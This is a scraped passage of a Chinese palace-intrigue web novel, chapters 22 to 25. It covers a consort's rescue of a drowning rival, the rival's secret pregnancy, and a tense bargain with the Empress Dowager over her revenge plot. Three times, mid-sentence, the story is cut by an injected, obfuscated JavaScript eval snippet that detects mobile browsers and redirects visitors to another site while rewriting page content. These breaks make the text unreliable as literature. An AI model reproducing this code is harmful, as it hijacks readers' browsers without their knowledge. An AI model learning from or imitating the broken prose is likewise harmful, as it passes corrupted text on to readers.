因着是封正经主子,自然要有隆重的典礼。恰巧一月后便是淑妃生辰,又是钦天监算出的黄道吉日,便将苏嫔的册封礼与淑妃生辰定在了同一日办礼。 而宜贵嫔虽成了一宫的主子,却因着需要淑妃照拂,便暂时不迁宫,只待生下龙胎后再分出去做主位。 昭庆殿正厅。 时至初夏,空气中已有了些微的暑气。可昭庆殿甚至还烘了一盆暖弱的炭火。舒贵嫔端坐在桌前,只穿一袭鸦青色疏绣绡纱宫装,挽个素素的芭蕉髻,作居家打扮,然那服色深沉,反倒平白无故将人压得老了几分。 她蕴了柔和的笑,正与颂兰说着这“宜”字—— “宜室宜家宜生育,确实是个很合她的封号。” 她语带怀念,仿佛有许多感慨,“从前,苏氏便是以‘极品宜男相’的名号被献进东宫的。不过她性子平顺,陛下对她恩宠不过尔尔。谁料有福之人,原不在宠遇多少上。” 生育乃是舒贵嫔的痛处,见贵嫔语调渐染了伤怀之意,颂兰忙道: “宜贵嫔确是个有福气的,只是这福气,并不全在这头胎之喜上。” 见舒贵嫔淡眉微扬,颂兰道:“宜贵嫔此番有了做到主位的福分,若真能平安诞下这胎,此生最起码也是妃位的荣宠了。” 她一字一句说得很慢,“唯有身居高位,才有资格亲自抚育皇子、庇佑孩子长大——端看萧昭仪宫中的许更衣,德妃娘娘宫中的魏娘子,哪见出头之日呢……宜贵嫔乃是淑妃一派,难得淑妃娘娘有这样的容人之量。” 一时间,厅内唯余静默。只有颂兰携来的茉莉花束,插在那尊琉璃花觚中,朵朵开得繁盛,散发着馥郁盈然的芬芳。 舒贵嫔望了一眼那含湿沾露的花,唇边漾着一丝略显怅然的笑,“本宫最爱的花便是栀子。只可惜芳华匆匆,如今已不是栀子的时节了。” 她淡笑道:“宋人咏茉莉‘畏日炎炎,梵香一炷薰亭院。鼻根充满。好利心殊浅。’①或许淑妃其心便如这琼花般剔透雅洁吧。” 颂兰凝声道:“若当真如此,那便是宜贵嫔之福,亦是社稷之福。不过亦有诗云‘休向寒鸦看日景,袛今飞燕侍昭阳。’②足见花虽自香,可要怎样看待这花香,端看赏花之人的心意了。” 舒贵嫔语带深意,“妹妹入宫时日虽浅,倒好似对宫中情势了如指掌。” 颂兰恭声道:“身在后宫如履薄冰,嫔妾身如蒲柳,不敢不‘眼观六路,耳听八方’。” 舒贵嫔倚在美人靠上,轻咳几声,白术忙上来,一下一下轻抚着贵嫔的后背替她顺气。 待气顺了,舒贵嫔这才气喘吁吁道:“妹妹心思玲珑,本宫应当没有错看你。” 她忽地伸出双手攥住颂兰手腕,眸色幽幽,一眨不眨盯着颂兰:“今夜子时,百子池旁——要如何处之,便如这茉莉一般,全看妹妹的心境。” …… 百子池在御园北面,池中多植菡萏,亦是取莲藕多孔、莲蓬多子,属百子多福的好意头。 时值春末夏初,池中莲叶才生出亭亭的幼叶,稀稀疏疏地随微风摇曳着。深夜的御花园鲜少人至,颂兰携着霜降绕过假山莲池,小卓子亦步亦趋跟在后头。 夜深露重,霜降扶着颂兰的手,手心有些粘腻的汗意。她有些畏惧道:“小主——” 四周只有微弱的虫鸣与寂寂风声,霜降话音未落,空气中忽而传来一声女子凄厉的尖叫,旋即便是咕咚一声巨响,水花四溅。 那落水之人的呼救声阵阵传来,却是一声低过一声,渐渐地,好似呛了些水般,不断间杂着嗽喘、挣扎、咕噜的水声——那人应是不识水性,挣扎得毫无章法,正一点一点往水中沉去。 23. 杀机 霜降失声道:“是有人落水!” 异变陡生,主仆三人谁也没料到会是这般情状。 夜色黑沉,百子池旁枝桠横生,密密地垂在假山之上。颂兰提着裙摆急忙向前奔去,冷不防被地上蔓生的一枝藤条一绊,踉跄一下,裙摆被划破了一大片。小卓子看得心惊肉跳,压着声音道: “小主,奴才会水,奴才下去救人!” 颂兰动作迅速,已然绕过了半壁假山。池中的女子只余一个模糊的影子在挣扎,颂兰只凝眸一看,心中便有了决断。当即喝道: “你们在岸边守着,不许惊动了旁人,我亲自下去救!” 霜降骇得脸色苍白,急急地想伸手去拉。见颂兰去意已决,一时间顾不上旁的,只惶然疾呼道:“小主!” 颂兰咬牙:“你们放心,我出身江南水乡,自小在水边野惯了,不比京城的旱鸭子。就这么个池塘,还淹不死你家小主。” 说罢坚决地往水中一跳,朝着那女子渐渐下沉的身影潜游而去。霜降同小卓子凑到岸边,紧紧靠在一起,眼睛一眨不眨盯着水浪浮腾的地方,只觉得湖影黑压压的,教人看得心惊肉跳。 虽已入五月,可夜半的池水仍蕴着透骨的凉。池中水波晃动,所过之处将细弱的莲叶拍打得东倒西歪。片刻后,终于从近岸出浮起两个人影。其中一个搂着另一个半昏的,费力地朝岸边游去。 小卓子忙蹚进水里,伸手拽住颂兰的手臂,这才将人拖上岸。 颂兰顾不得自己浑身湿透,哑声喊道:“她呛了水,快把水控出来!” 小卓子和霜降搭着手将那湿淋淋的水人拖到岸边平躺。借着月光,露出一张熟悉的、湿透的脸庞——梁宝林! 她娇妍的面孔因为呛水而浮现出半死的青白。众人虽心中大骇,可事出紧急,一时间顾不了那许多。小卓子力气大,当即上手拼命地按着梁氏胸腹,将误吸进去的水挤出。霜降则撸起袖子,除了梁宝林湿透的鞋袜,替她搓着手脚取暖。 颂兰从池子中慢慢爬上岸。在里头动作时不觉得,一到岸上,被夜风一吹,霎时觉得那寒意好似要渗进骨子里似的。 小卓子按了半天,梁宝林口中吐出些污水,胸腔这才微弱地起伏起来,捂着肚子,咳嗽喘息不止。她慢慢地睁开眼睛,眸中交错着不解与恐惧,正要大喊,颂兰眼疾手快,一伸手便捂住了她的嘴。 正在此时,身后不远处的□□边行过一队巡夜的侍卫。 待到那一列摇晃的灯影渐行渐远,颂兰这才松开手,低声道: “我救你一条命,你别转眼就糟蹋没了。若你这副样子被外男看见——即便是宫中侍卫,从今往后你的清白也算是毁了。这样的女子在宫中唯有冷宫或是‘暴毙’两种下场,不想死的话,就收住声,闭紧嘴!” 梁宝林脸上水痕交错,分不清是泪还是水,乌发凌乱地贴在额前颊上,也不知听进去了没有,只慌乱又迟钝地点点头。 颂兰方松了口气,又被一阵风吹来,冷得浑身一激灵,鸡皮疙瘩阵阵爬起。梁宝林的手死死攥住她袍角,好似扯着救命稻草一般。 小卓子低声道:“小主,旁边有间下人们休息的庑房,这会儿应当是没人在的。小主不妨先同梁小主到那处暂避,奴才这就回钟粹宫取干净衣裳来。” 颂兰点头道:“你带路吧。”说着,便同霜降二人一人搭一边臂膀,合力将梁宝林撑起来,三人朝着小卓子指路道方向寻去。不多时,果然见廊下一间窄门的空屋,并未上锁。 三人轻轻推开门进去,亦不敢生火点灯,只借着月色看到房中有一张窄榻,一张小木桌并两张矮凳。霜降忙搀扶着梁宝林,将人安置到了那张榻上。颂兰站在床边,梁宝林便死死拽着她的手不放开。 那手也是湿淋淋的,好似尸体一般冰凉。窗外树影幢幢,偶有几声尖锐的夜枭鸣叫划破夜色的宁静,真如鬼哭般恐怖。 梁宝林眼角滑出几行清泪,她终于惶然开口:“有人要害我!要我死!” 颂兰已然缓过了劲来,此时恢复了往日的沉静。她凝声道:“这时间你怎会出现在这里,伺候你的宫人们呢?” 梁宝林声音嘶哑,“太后罚我在宫正司思过,这半月来夜夜都要习规矩到这个时辰。往日都是红玉陪着我,今天我实在饿得不行,想吃藕粉桂花糖糕,就打发她先回去取些,带到宫里放着等我回去吃。” 她惶惑地睁大眼睛,双眸中溢满不解,“这路我已经走熟了的。从宫正司回钟粹宫就这条路最近。可……是有人从背后推我入水,好大的力气,推完就跑了。” 她的眼泪汹涌不止,“到底是谁要我的命?” 颂兰叹道:“你在储秀宫时便仗着家世出众,对出身不如你的秀女趾高气昂,进了宫仍不知收敛,林氏受了你的掌掴之辱,就连位分比你高的胡美人你也敢得罪。你一死,她正好借机搬到钟粹宫正殿。 “后宫中这么多女人,对陛下来说,多你一个不多,少你一个不少。而对其他人而言,少一个争宠的女人,便多一分得宠的希望。” 算上在储秀宫的时日,梁宝林入宫近两个月有余,遇到的全是尔虞我诈,荆棘丛生。这地狱般的日子比起她从前在梁府的无忧无虑、千娇万宠,简直是一个地下,一个天上。 被颂兰这样直白地一骂,她几乎失了全部力气,蜷在榻上惊惧地喊:“娘、娘!我不要入宫,也不要比其他那些贵女嫁得更高了,我想回家、我想回家!” 这些天来的压抑、恐惧都在一瞬间爆发出来。她哭得涕泪横流,生死当前,再无闺秀的体面。 颂兰叹了口气,用力将手从她手中挣脱出来。还没等梁宝林反应过来,她俯身便是“啪”清脆的一掌扇在了梁氏脸上。 这一掌用了十足的力气,打得颂兰掌心发麻,耳边的珍珠坠子猛烈地摇晃起来,惨白的浮光映在脸颊上一跃一跃,好似鬼火。 “入宫这么长时日,我已经救了你大大小小不下五次。算上刚才这次——我几乎是连自己的命都快搭进去了。” 她眸中盛满森寒冷意,一眨不眨地盯着梁芳玉。梁宝林被惊得浑身一抖,只觉得好似比刚才置身冰凉的池水中时更冷几分。面前的少女明明比她还小几岁,可周身气质,却仿佛地狱归来的罗刹。 “你若想捂着耳朵继续逃,一而再再而三就这么稀里糊涂地找死,置你梁氏一族的荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411677|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辱于不顾,你大可以再出去,再跳一次百子池,早搭上这条贱命一了百了,也好教想要你命的人得偿所愿、称心快意。” 梁宝林不受控制地发起抖来,“我不想死、我不想死!”她伸出湿淋淋的手抓住颂兰衣裙,乞求道:“蕙选侍,我知道你聪明又有本事,是个好人。我知道错了,你能不能救救我……我想活……” 颂兰不动声色地退开一步,梁宝林呆呆地望着前方。她先是挨了板子,又马不停蹄被罚在宫正司立了半个月的规矩,早出晚归自顾不暇,还不知道颂兰已经升了位分。 颂兰扯过一张椅子坐下,轻嗤一声,“好人?那你看错人了。” 梁宝林慌乱中口不择言,被这么一呛,立刻又觉得颂兰和“好人”二字实在算不得匹配。她噎了一噎,抱膝无助地坐着,眼中的光一点点熄灭。 “吱哑”一声,庑房的门被轻轻推开,小卓子抱着一包衣服躬身进来,轻声道: “小主,奴才不敢惊动太多人,这衣服都是素儿她们的,乃是宫女服色,怕是要先委屈小主们了。” 说罢将那包衣服放在桌子上,又拿出一只水壶,“这壶中有些热茶,事急从权,小主们将就喝一口暖暖身子。钟粹宫小厨房里已经熬了姜汤了。”这才矮着身子避了出去。 霜降道:“奴婢伺候小主们更衣吧。” 二人这才除了湿衣。小卓子带了两件斗篷,兜帽一戴,好歹遮住了凌乱滴水的头发。梁宝林缩在干燥温暖的斗篷里,桌上有几只空茶杯,颂兰抓过小卓子带来的水壶,倒了一杯热茶给她。 梁芳玉有些迟疑,“这是下人用的……” 颂兰几乎要被她气笑,“梁家怎么会送了你这么个天真的蠢货入宫!你连下人的茶水都嫌弃,倒敢四处惹是生非,招来要你命的祸事?” “我……” 颂兰将杯中热茶一饮而尽,这才觉得周身回上了些许暖意,“你现在可看清了?后宫是个吃人不吐骨头的地方。一步行差踏错,便会死人。人人都有杀人的可能,人人都可能是案板上的鱼肉。” 望着梁宝林愕然的神色,颂兰轻嗤,“我虽不是好人,但至少暂时是个不想要你死的人。” “你……为何?我对你也算不上好。” 望着梁宝林愕然的神色,颂兰缓缓道:“有你在钟粹宫上蹿下跳,多少能替我分走点旁人的注意力。我要得宠,却没有家世和钱财作为倚仗。” 她话说得残忍又冷血,“你缺脑子,我缺钱。你要搭上我这条船、要想活,就证明给我看你有值得我保全的价值。” 说着,她决然起身离去。梁芳玉在背后忙喊道:“我、我有钱!甚么首饰、珠花、衣料,你想要都尽管拿去。钟粹宫的正殿我也让给胡美人住,你去住她的西配殿!” 她咬牙,“不就是恃宠生娇、张狂惹眼么,这路子我熟!我去求德妃娘娘、求陛下……眼下我有倚仗!” 这话上道,却透着稀奇。颂兰顿住脚步,回身,眉毛轻轻抬起。黑暗中,梁芳玉整个人都缩在阴影中,双手抱着肚子,唯一双眼睛冷光幽幽,闪烁着诡异的寒芒。 她咬着唇,目光一瞬不瞬,“我有身孕了!” 24. 金枝 钟粹宫的梁宝林溺水这事,很快便在六宫中传作了一桩笑柄。 谁人不知她轻狂蠢笨,自恃身份和美貌,张扬跋扈冲撞了太后,被罚去宫正司立规矩,竟蠢到在御花园失足落了水。好巧不巧,还算命大,被同住一宫的蕙心娘子路过救了上来。 只是梁宝林次日便发起了高热,窝在钟粹宫内闭门不出了。 因着这事,她还求到了德妃那去——直说钟粹宫正殿太大太冷寂,她住着难受,自请换到西配殿去,将正殿让给位分更高的胡美人。 不仅如此,她还道感激蕙心娘子舍命救她,求德妃予她个恩典,做主让蕙心娘子搬进东配殿。 德妃母家在前朝本就与梁氏同气连枝,此事钟粹宫三位小主亦均无异议,便由德妃做主,禀了皇后,教三人换了宫室。 众人更是将梁氏当做了个绣花枕头窝囊废——人往高处走,这上赶着要往差处去的,还是头一遭。可见梁宝林是被吓破了胆子,只想着龟缩一隅了。 清音阁,众嫔妃齐聚一堂。这日因着太后提起想攒个局听戏,皇后便赏了六宫嫔妃一同前去。 清音阁地处上林苑近旁,曲院亭台,金碧辉煌。上林苑乃是后宫除去御苑外的第二大园林,比之御园多水景,上林苑则多植葱郁的林木。五月的气候,清音阁四周盛开纷繁的芍药,墨紫楼、粉绒莲、红云映日、紫蝶献金,花团锦簇,香气馥郁而浓烈。 台上已轮番演了几出,却未如往时般演些《麻姑献寿》《女驸马》这类热闹团圆的戏,倒是咿咿呀呀,由个白净的小旦扮着昭君,唱起了《破幽梦孤雁汉宫秋》①。 妃嫔们年纪轻,大多更爱看《西园记》之类诉情说爱,花好月圆的剧目。那《汉宫秋》哀哀戚戚,众人不免便在台下走起神来。 韩妃穿着件胭脂色绣夹竹桃对襟小衫,曼声道:“昭君被毛延寿刻意画丑,却仍得了元帝恩宠。可见福分这东西,乃是命里有时终须有。” 她畏热,此时执了一把小扇轻轻扑着,掩唇一笑,“就像宜贵嫔这胎啊——不过就那么三五回的恩宠,到底是有了。” 虽还未正式晋封,可宜贵嫔已然是妃位之下的后宫第一人,位次便被安排在与韩妃同席。 从前她不过是个区区嫔位,一下水涨船高,韩妃自然心中不痛快。 闻言,宜贵嫔面色一白,却是突然举帕,掩住了口鼻。身后侍女连忙轻抚其背,给贵嫔顺着气。 淑妃颦眉轻蹙,道:“宜贵嫔这胎怀相不好,平素在怡春宫也时常恶心呕吐。” 刘贵仪轻哼道:“当初元孝皇后怀大皇子时可没这么多做作。可见同人不同命,便是福气,那也是分深浅的。况且从前宫中也不是没有过孩子——能生得下来,养得大,那才是真的福气呢。” 刘贵仪原本就不爽苏绡筠身为良家子,却得封嫔位压自己一头。而今苏氏肚子争气,更成了一宫主位遥遥越过她去,刘氏更是嫉恨不已。 淑妃淡淡道:“左右咱们都是没生养过的人,哪懂生儿育女的艰辛呢。宜贵嫔这胎有本宫照拂,刘贵仪与韩妃同住一宫,又这般交好,想来往后刘妹妹若有孕,韩妃也会悉心照料的。” 此话一出,韩妃登时剜了刘贵仪一眼—— 韩贞珠身为高丽贡女,是没资格诞育皇嗣的。后宫女子谁不对做母亲多有企盼,这事一直是韩妃心中不可说的一根刺,是以她才对宫中的孕事格外敏感。 韩妃一直盼着能抱养哪个低位嫔妃的孩儿来养在膝下。刘贵仪与她同住延庆殿,心内自然有数。被淑妃这么一刺,心中亦不免“突”地一跳,按捺住惴惴,勉强道: “淑妃娘娘当真爱护宜贵嫔。” 淑妃淡笑道:“宜贵嫔诞育皇嗣有功,六宫姐妹谁不爱护她呢。” 太后道:“好好地听着戏呢,没得这般聒噪。” 太后坐于朝南的高升宝座上,正由清云姑姑侍奉着吃一只枇杷。太后发话,诸人便都噤了声。 说话间,台上移宫换羽,换做了《打金枝》。老生扮的唐王唱腔古朴醇厚,响遏行云,迈着方步行上前去,扶了身披玉带粉蟒的郭暧要替他加官晋爵。 太后冷笑道:“做皇帝若是做得这般窝囊,连个驸马都制不住,何苦还当呢。” 德妃忙道:“毕竟只是戏文而已。况且代宗朝时有‘安史之乱’绵祸,唐代宗乃是依靠着郭子仪才坐稳皇位,不比咱们李朝盛世,气象太平。” 皇后道:“母后一向不喜欢郭暧。” 太后道:“皇家将金枝玉叶的女儿嫁过去,他却动辄打骂。若谁这般对哀家的女儿,哀家势必要她知道什么是天家尊严。” 说罢,将那剥成佛手状的果皮一扔,淡声道:“哀家乏了。”便由云姑姑扶着起身离席了。 众嫔妃自是起身送别太后。太后方走到清音阁门口,倏地回身道: “蕙心娘子今日可来了?” 颂兰位分不高,本垂首跟在人群后头躬身行礼。听太后点出她来,只好提着裙摆出列行礼道: “嫔妾给太后娘娘请安。” 太后的声音不含半分感情,“梁宝林落水,听闻是由你护送着回宫,皇帝却未赏你——百子池偏僻,却能这样巧合被你遇上。” 她扶着云姑姑的手,口吻辨不出喜怒,“哀家信佛,讲求缘法。午后你便来哀家的慈宁宫,陪哀家说说话吧。” 言罢,并不理会众嫔妃精彩各异的脸色,径自乘上辇轿去了。 攒局的主子走了,余下的嫔妃自然也各自散了。颂兰垂眸沉思着,容常在经过她身畔,不紧不慢地顶了一句: “从前梁氏在储秀宫时便常欺负人,却还有人巴巴儿地凑上去巴结。可见这攀龙附凤的心思,在宫中是绝不了的。” 颂兰还未接话,温昭昭先快步走上来——她的“病”终于将将痊愈,也开始参与到些许宫中的集会、请安活动之中了。 温昭昭忧心道:“从前在储秀宫时,并没觉得容常在是这般刻薄之人啊。” 颂兰道:“从前大家身份无异,她又自矜清流出身,自然不屑争这一时的口舌之快。现在因着端午的事,她格外消沉,心境自然也不同了。” 温昭昭道:“妹妹倒看得透彻。” 颂兰轻哂,“没什么透不透彻的,豁达和体面,只是上位者才配有的奢侈罢了。” …… 太后只说“午后”来叙话,却未提具体的时辰。颂兰只在浣花坞匆匆用了午膳,午时刚过,便到慈宁宫外候着。 清云姑姑出来福了福身,道:“小主,太后娘娘还在歇息,还请小主稍候片刻。” 这一等,时辰便不知几何了——这是昭然若揭的下马威。好在颂兰来前心中已有了准备,谢过云姑姑,她便在寿康殿外安静等着。朱门紧闭,几丛茂密的芭蕉随风习习轻晃着,在金漆的门环上投下深浓的影子。 待到那阴影被斜阳拉长了寸许,殿门才“吱哑”一声启开。云姑姑和声道:“小主请进吧。” 寿康殿外间设了个小佛堂。颂兰入殿时,太后正背对着殿门跪坐在蒲团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426784|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,虔诚供上三支清香。轻烟丝丝缕缕,散入静谧的空气中。 颂兰不敢出声搅扰,只恭敬立在门外。待那香安安稳稳插进了香炉,太后才扶着小宫女的手起身,转过头来瞧见颂兰,面上并未露出讶色,只淡淡道: “哀家上了年纪,便贪睡些。你等久了罢。” 颂兰恭谨躬身,“嫔妾不敢扰了太后娘娘安睡。您是后宫之主,嫔妾们怎样侍奉勤谨都是应当应分的。” 太后并未接话,云姑姑托着一件深翠色绣浅银西番莲的马甲进去给太后披上。太后道:“后宫中的主子,有皇后,皇上。哀家老了,终归是不顶事的。” 颂兰维持着福身的姿势,“自古以来皆以长为尊。您是圣上亲母,皇上、皇后皆以您为尊。” 太后只轻声道:“是么?”缓步走出了佛堂。颂兰半弯着腰,一时间进退两难。 直到太后走到了寝殿门口,终究是飘过来一句: “起来罢——还在那呆站着做什么?” 入了殿内,太后已经盘腿靠在团窠纹金丝软枕上,拿了一本佛经在看。她不教人看座,颂兰便只得直挺挺跪下——膝盖本就已站得酸软不堪,再接一跪,只觉得自膝盖处泛起一阵酸涩刺痛的麻意。 当着这位后宫第一贵妇的面,颂兰不敢作色,只咬牙忍了。 云姑姑往攒银香炉中添了一勺檀香。太后悠悠道:“知道哀家为何唤你来么?” 颂兰仰起脸望向太后,“太后娘娘面前,嫔妾不敢花言巧语。方才在慈宁宫外候着时思来想去,只觉得应当是为了梁宝林之事。” 太后手中翻阅书卷的动作不停,书页卷动发出轻微的“沙沙”声。太后只不置可否道:“哦?” “今日太后娘娘先点《汉宫秋》再点《打金枝》。嫔妾虽愚钝,却不得不想起了前朝时贻和公主前往西域和亲之事。” 颂兰贝齿轻咬,“嫔妾出身低微,对此事知之不详。但依稀听说,当时遣公主和亲并非为了求和,而是为了麻痹西凉王,好使平西王攻其不备,奇兵制胜……而时任中书省参军的梁大人,便是力主公主和亲的大员之一。” 窗外和风细细,晃动着竹叶与芭蕉浓翠浅绿的影。可那梅花格纹的窗户紧紧闭着,透不进一丝清风,唯有焚着的檀香烟气浓浓地逸散,将内室罩成了一只窒闷的薰笼。 不知何时,太后已停了手中翻书的动作。她将手中的佛经合上,轻抚着《往生经》的封皮,“哀家的善文今年当有六岁了。” 贻和公主李循乃是太后所出的唯一女儿,深得爱重。虽为公主,却能与兄弟们同用从彳旁的名字,小字善文,取“夫子循循然善诱人。博我以文,约我以礼。”之典。据闻公主聪灵毓秀,却在十六岁那年被迫沦入“遣妾一身安社稷”的命运,不出两年便化作芳魂一缕,即便后来平定西凉,公主却是永远都回不来了。 此事乃是太后心中的大痛。只是太后身居高位,从来也掩得那样好、那样深。颂兰也是靠着前世的回忆,才串起了近期陡生的种种波澜——梁宝林一入宫便接二连三遇上的波折、冲着平西王侧妃而去的蟹心与麝香,看似全无关联,可桩桩件件,似乎都隐约有着太后的影子。 是了,如此搅弄风云的手笔,除了这位安居慈宁宫的后宫第一人,还有谁能调遣得动那么多前赴后继的死士呢? 冷汗早已无声浸透了中衣。太后的声音虽轻,语中寒意却是凛然。 “你既知此事是哀家心病,挡了哀家复仇雪恨的路,可曾想过自个儿的下场?” 25. 太后 太后微眯着眼,出神地望向远方,“善文那时多么聪明,同皇帝二人一起读书,作的文章倒比皇帝更有灵性。” 她保养得宜的面容上漾起朦胧哀伤的笑意,那笑只悬浮着,并不达眼底,“就因为先帝没有旁的女儿——从前哀家有多骄傲,送贻和的时候,就有多懊悔、痛心。贻和贻和,可不正是赠了哀家的女儿,换来的这太平盛世么?” 太后眼中泪光闪烁,“哀家当时只是先帝后宫的妃嫔,不得干政。”这位后宫第一贵妇人的面上划过一丝雪亮的恨意,“哀家无能,救不了自己的女儿,还不能杀了他们的女儿么?” 天色已经渐渐昏沉,云姑姑轻手轻脚点上了灯。太后疲惫地揉了揉眼睛,在烛火的照耀下,眼角的几丝细纹显得尤为刺目。 颂兰面色苍白,咬着唇,轻声答道:“嫔妾年幼位卑,不敢妄议朝事,亦不敢替娘娘的仇人开脱。只是斯人已逝,太后娘娘怀念长公主,难道就不念亲孙么?” 闻言,太后却是一愣,手中的《往生经》书脊“咔嗒”一下,不轻不重地磕在了楠木嵌螺钿细牙桌上,“你是说……” 颂兰闭了闭眼,再睁开眼睛,却是直直望向太后,说得笃定,“梁宝林在宫正司受了杖刑,回宫后自然有太医来为她扶脉诊治。她宫中的贴身侍女亦是懂些医术的,皆摸出梁氏的近一个月身孕的脉象。只是她接连得罪贵人,又遭了落水一事,吓破了胆,并不敢声张,只躲在钟粹宫养胎。” 太后吐出长长一口浊气,缓缓闭上了眼睛。半晌,只掀开一点眼皮,睨着桌面四角镶嵌的彩色螺钿,低声叹道:“原是她有这福份。” 又侧过脸去,淡声唤道:“心逸,扶她起来说话吧。” 心逸同清云一样,是侍奉太后多年得脸的老姑姑了。小内监搬来黑楠木椅子,颂兰不敢托大,只虚虚扶着心姑姑的手,自个使了力,重心撑着椅子的扶手站起身来。 才在凳子上坐好,便觉得双腿麻木无限,已然全无知觉。那才养好的膝盖怕是又要生出大片淤血。云姑姑奉上来一盏茶,太后望着云姑姑的侧影,唏嘘道: “哀家信佛。当年给她们赐名是想取‘清心若水,逸性如云’之意。一晃数十年过去了,哀家终究是没能守住那般淡泊的心性。” 颂兰不敢大意,只谨慎道:“嫔妾入宫时日虽短,却已体会到宫墙之内,举步维艰。许多事身不由己,又岂能怪人的心性呢。” 太后轻笑几声,“你倒有这般心胸。” 又道:“梁氏心性愚鲁,原不配入皇帝的后宫。是哀家自作主张,留了她的牌子,为的便是将梁康年的女儿留在哀家手里。皇帝也不过就召了她一回,可谁料那一回,竟让她腹中有了皇帝的孩子。” 她悠悠叹息,“佛说缘由因起,看来是天意要哀家留她这条命。” 颂兰恭谨道:“太后慈悲,实乃社稷之福。” 太后轻嗤,“你方才入殿时说,不敢在哀家面前巧言令色,可哀家瞧着也不尽不实。只她有孕这一项——你跳水救她时,怎知她腹中怀有龙裔?” 颂兰抿唇,露出些迟疑神色,“嫔妾不敢欺瞒太后。那日给皇后娘娘请安过后,得知宜贵嫔有孕,嫔妾艳羡不已,便想着夜里到百子池去放个花灯祈福求子。” 她咬唇道:“谁知便遇上了这事……当时第一下只是想着救条人命。后来看清了是她,嫔妾倒有些想挟恩图报之意。” 她双颊染上些许红色,“梁氏豪富,嫔妾想着救命之恩,应当够让她付出些金银罢。左右嫔妾是在江南长大,熟识水性,总不至于将命搭进去。” 太后扑哧一笑,“怎的皇帝很亏待你么?” 颂兰微赧,“谁会嫌钱多呢。” 不过片刻,太后又收敛了笑意,淡声道:“无论发心为何,若她真有孕,你也算是立了一功。只是你救了她便罢了,同为皇帝的妃嫔,你何苦为她如此周全?” 她眼风在颂兰身上一扫,“以梁氏的性子,想必想不到要将有人害她一事压下去。这是你的主意?” 颂兰心中一凛,忙道:“嫔妾不是为了梁氏,而是为了李朝血脉,为了皇上的孩子、太后的孙子。至于压下那事,嫔妾既已想通其中关窍,自然也是为了您往后的亲子天伦。” 她语气愈发恭谨,“梁氏自知亏欠您良多,此事她亦没有半分异议。若孩子能平安降生,愿尊皇后娘娘为亲母,您便是孩子嫡亲的祖母。” 这事戳中了太后心事,太后眼中闪过一丝兴味,托腮撑起身子,悠悠道:“哦?她竟肯么?” 颂兰低着头,神色愈发谦卑,“宫中所有孩子都是皇后娘娘的孩子。其实——哪儿有什么肯不肯呢。” 太后低低笑了,“你们到底还年轻,哪里懂得为人母的心情呢。” 她含了薄薄一缕讽刺的笑意,“罢了,届时教她骨肉分离,也算还了些当年之恨吧。” 颂兰自到达慈宁宫以来便悬着的一颗心,终于稍稍安定下来,她道:“多谢太后娘娘垂怜。” 太后微微一笑,“怪道皇帝赐你‘蕙心’二字,果真不算辱没了这封号。”她目光辽远,“今日唤你过来,给了你委屈受。那日听说你在端午殿上对答如流,保下了杜氏的胎儿,又加之此番救了梁氏,哀家原本是很气恼的。” 话渐入巷,太后似乎并不吝于向一个低等宫嫔袒露她的谋算同杀伐,“只是原本便将你纳入了这局中,你能翻盘,这便是你的本事。” 她稍稍一停,笑意暗淡几分,“也算是应了你那句话‘步步维艰,身不由己’而已。不过,有些仇,哀家是一定要报的。” 颂兰垂眸道:“人死形灭,纵有罪业,如何得报。不如慢慢清算,好叫那害人之人,亦尝尝锥骨蚀心的滋味。” 太后眸光一瞬,只盯着颂兰柔顺的身影,奇道:“你这般年纪,同谁有血仇呢?” 颂兰淡淡一笑,“嫔妾不过有感而发,随口而说罢了。” 太后瞥她一眼,“你到底才——十五岁罢?是该开朗活泼些的年纪。不必学着哀家这般沉闷。机灵可爱,教皇帝看着也欢喜些。” 颂兰恭顺道:“太后娘娘心系六宫,大气雍容。这般气度,哪是嫔妾们能比的。” 太后啼笑皆非,挥了挥手,只道:“好了!晓得你是个嘴甜的了。”她眸色深深,“哀家会叫太医院的人去瞧瞧梁氏这胎。若真是喜事,该她有的,哀家不会少。” “太后娘娘慈恤悯下,是梁姐姐之福。”颂兰凝声道:“嫔妾还有一个不情之请:还请太后娘娘安排淑妃娘娘看顾梁宝林这胎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436930|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太后眉心一跳,眼中精光一闪,颂兰含了谦顺的笑: “淑妃娘娘照顾着宜贵嫔娘娘,再添一个梁宝林,也不过就是将日常的东西做双份罢了。如此有着对比,想来淑娘娘应不敢厚此薄彼。” 斜阳西沉,殿内烛火跃动荧然,映在太后轻拧着的眉心。须臾,崔太后展颜一笑,拊掌道:“你这般聪慧,哀家竟觉着小小娘子之位辱没了你。” 颂兰的面庞被烛光照得覆上一层淡淡晕红,“在宫中,谁不想往上走呢。不过嫔妾出身低微,祖制亦不可为。” 